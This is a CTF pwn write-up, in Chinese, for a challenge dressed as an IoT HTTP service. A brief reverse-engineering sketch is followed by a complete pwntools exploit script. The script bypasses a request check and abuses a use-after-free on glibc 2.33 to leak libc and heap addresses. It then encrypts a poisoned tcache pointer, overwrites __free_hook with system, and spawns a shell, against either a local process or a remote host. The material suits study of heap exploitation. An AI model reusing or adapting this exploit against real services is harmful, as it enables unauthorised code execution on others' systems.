每周一pwn系列

题目描述:一个看似健康的IOT服务

基本信息

给了libc,libc2.33-0ubuntu5_amd64

逆向分析

  • 主函数

  • 处理请求正文

要注意的是其中有一个check:

这个全局变量默认为0

add : 1&index&size&content
edit : 2&index&content
show : 3&index
free : 4&index

漏洞利用

首先是实现交互,发包格式为(以POST为例):

POST /url HTTP/1.1\r\n
A: B\r\n

content

先是过check,构造发包:

def check():
	package=b'DEV /s HTTP/1.1\r\n'+b'A: B\r\n'+b'rotartsinimda'
	#dbg('b *$rebase(0x0000000000001827)\n')
	sa('Waiting Package...\n',package)

然后是堆菜单,由于choice是int类型,因此要发送字节流

有无限UAF,size<=0x500,glibc2.33。可以泄露libc和heap后直接打free_hook,注意引入的指针加密。
利用注意:

  • add和edit是使用memcpy进行数据拷贝的,会收到00截断影响
    本题其实就是套上了一个解析Http请求的背景,难点在逆向从而正确构造http请求

EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------

def check():
	package=b'DEV /s HTTP/1.1\r\n'+b'A: B\r\n'+b'rotartsinimda'
	#dbg('b *$rebase(0x0000000000001827)\n')
	sa('Waiting Package...\n',package)

header=b'POST /s HTTP/1.1\r\n'+b'A: B\r\n'

def add(idx,size,content:bytes):
	package=header+f'\x01&{idx}&{size}&'.encode()+content
	#dbg('b *$rebase(0x0000000000001791)')
	sa('Waiting Package...\n',package)		

def edit(idx,content:bytes):
	package=header+f'\x02&{idx}&'.encode()+content
	sa('Waiting Package...\n',package)
	
def show(idx):
	package=header+f'\x03&{idx}'.encode()
	sa('Waiting Package...\n',package)
	
def delete(idx):
	package=header+f'\x04&{idx}'.encode()	
	sa('Waiting Package...\n',package)


def pwn():
	check()
	add(0,0x410,b'aaaa')
	add(1,0xf0,b'aaaa')
	add(2,0xf0,b'aaaa')
	add(3,0xf0,b'aaaa')
	add(4,0xf0,b'/bin/sh\x00')
	delete(0)
	
	add(9,0x420,b'aaaa')
	
	show(0)
	ru('Content-Length: 6\n',True)
	leak=u64(r(6).ljust(8,b'\x00'))
	libc.address=leak-0x1e0ff0
	lg('libc',libc.address)
	edit(0,b'A'*0x10)
	show(0)
	ru(b'A'*0x10,True)
	leak2=u64(r(6).ljust(8,b'\x00'))
	heap=leak2-0x290
	lg('heap',heap)
	
	system=ls('system')
	binsh=libc.search('/bin/sh').__next__()
	free_hook=ls('__free_hook')
	delete(2)
	delete(1)
	
	enc_ptr=free_hook^(heap+0x6c0>>12)
	edit(1,p64(enc_ptr))
	add(5,0xf0,b'aaaa')
	add(6,0xf0,p64(system))
	delete(4)
	
	#edit(0,p64(0))
	
	dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	context.terminal=["tmux","splitw","-h","-l 150"]
	binary='./pwn'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()
⬆︎TOP